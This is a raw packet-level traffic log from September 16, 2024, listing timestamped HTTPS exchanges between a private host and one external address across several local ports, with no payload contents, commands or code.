Sep 16, 2024 08:23:12.383430004 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:12.383533001 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:12.571448088 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:12.571880102 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.115412951 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.115461111 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.174349070 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.174361944 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.174374104 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.174381971 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.174452066 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.174457073 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.174513102 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.174519062 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.174530029 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.174602032 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.174606085 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.174618959 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.174634933 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.174649954 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.174737930 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.211446047 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.211575985 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.379445076 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.379524946 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.403433084 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.403520107 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.647002935 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.647022009 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.647036076 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.647046089 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.647098064 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.647104025 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.647114992 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.647135019 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.647139072 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.647191048 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.647197008 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.647214890 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.647253036 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.647274971 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.678385973 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.678416014 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.678431034 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.678474903 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.678483963 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.678544044 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.679800034 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.738579035 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.738610983 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.738653898 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.738735914 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.738750935 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.738787889 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.738828897 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.738842010 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.738872051 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.738912106 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.738929987 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.738961935 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.738993883 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.739017963 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.739017963 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.739033937 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.739088058 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.739089012 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.739124060 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.739161968 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.739207029 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.772607088 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.772661924 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.772695065 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.772756100 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.772785902 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.793962002 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.793981075 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794004917 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794059992 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794071913 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794101954 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794112921 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794167042 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794198036 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794198036 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794217110 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794244051 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794284105 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794284105 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794332027 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794337034 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794401884 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794442892 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794466972 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794481993 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794547081 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794547081 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794645071 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.794666052 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.794728994 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.855443001 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.855511904 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.943443060 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.943512917 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:13.999412060 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:13.999483109 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.267441988 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.267499924 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.357238054 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.357254028 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.357269049 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.357348919 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.357353926 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.357366085 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.357420921 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.357424974 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.357439041 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.357454062 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.357464075 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.357466936 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.357470989 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.357487917 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.357544899 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.357568979 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.363410950 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.363467932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.408350945 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.408413887 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.408466101 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.408518076 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.408535957 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.408584118 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.408601046 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.408631086 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.408642054 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.408665895 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.408694983 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.408710003 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.408740997 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.408775091 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.408818007 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.408858061 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.408915043 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.408931017 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.409013987 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.427445889 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.427526951 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.563410997 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.563507080 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.615431070 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.615489006 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.717140913 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.717161894 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.717180967 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.717187881 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.717329025 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.717334986 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.717356920 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.717458963 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.748387098 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.748457909 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.748491049 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.748542070 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.748560905 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.748595953 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.748620033 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.799019098 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.799038887 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.799065113 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.799087048 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.799149036 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.799164057 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.799228907 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.799278021 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.799278975 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.799302101 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.799350977 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.799376965 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.799406052 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.799504042 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.799614906 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.799633980 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.799711943 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.815252066 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.815274000 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815310955 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815346003 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815399885 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.815417051 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815457106 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815521002 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.815521002 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.815541029 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815562963 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815638065 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.815638065 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.815654993 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815740108 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.815753937 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815819979 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.815833092 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815885067 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.815923929 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.815934896 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816006899 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816023111 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816077948 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816131115 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816174984 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816198111 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816248894 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816251993 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816272974 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816292048 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816329002 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816343069 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816381931 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816411972 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816426039 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816493034 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816509962 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816540956 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816562891 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816587925 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816615105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816615105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816629887 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816695929 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.816713095 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816915989 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816956043 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.816981077 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817001104 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817024946 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817025900 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817090034 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817136049 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817153931 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817167997 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817193031 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817284107 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817322016 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817367077 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817384958 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817413092 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817483902 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817555904 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817570925 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817621946 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817641020 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817678928 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817697048 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817720890 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817773104 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817817926 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817832947 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817846060 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817873001 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817894936 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.817945957 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.817986965 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818007946 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818018913 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818046093 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818068981 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818111897 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818175077 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818186998 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818252087 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818272114 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818312883 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818340063 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818351030 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818381071 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818401098 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818440914 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818481922 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818520069 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818520069 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818533897 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818572998 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818572998 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818608046 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818661928 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818682909 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818696022 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818722010 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818742990 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818779945 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818829060 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818846941 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818859100 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818886995 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818908930 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.818949938 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.818993092 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819013119 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819024086 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819051027 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819072008 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819122076 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819163084 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819184065 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819196939 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819222927 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819243908 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819320917 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819360971 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819407940 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819407940 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819423914 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819462061 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819462061 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819541931 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819582939 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819605112 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819616079 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819643021 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819685936 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819720030 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819761992 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819786072 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819803953 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819829941 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819829941 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819858074 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819892883 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819940090 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.819962025 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.819973946 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820000887 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820022106 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820075035 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820116043 CEST	443	49734	185.199.109.133	192.168.2.5
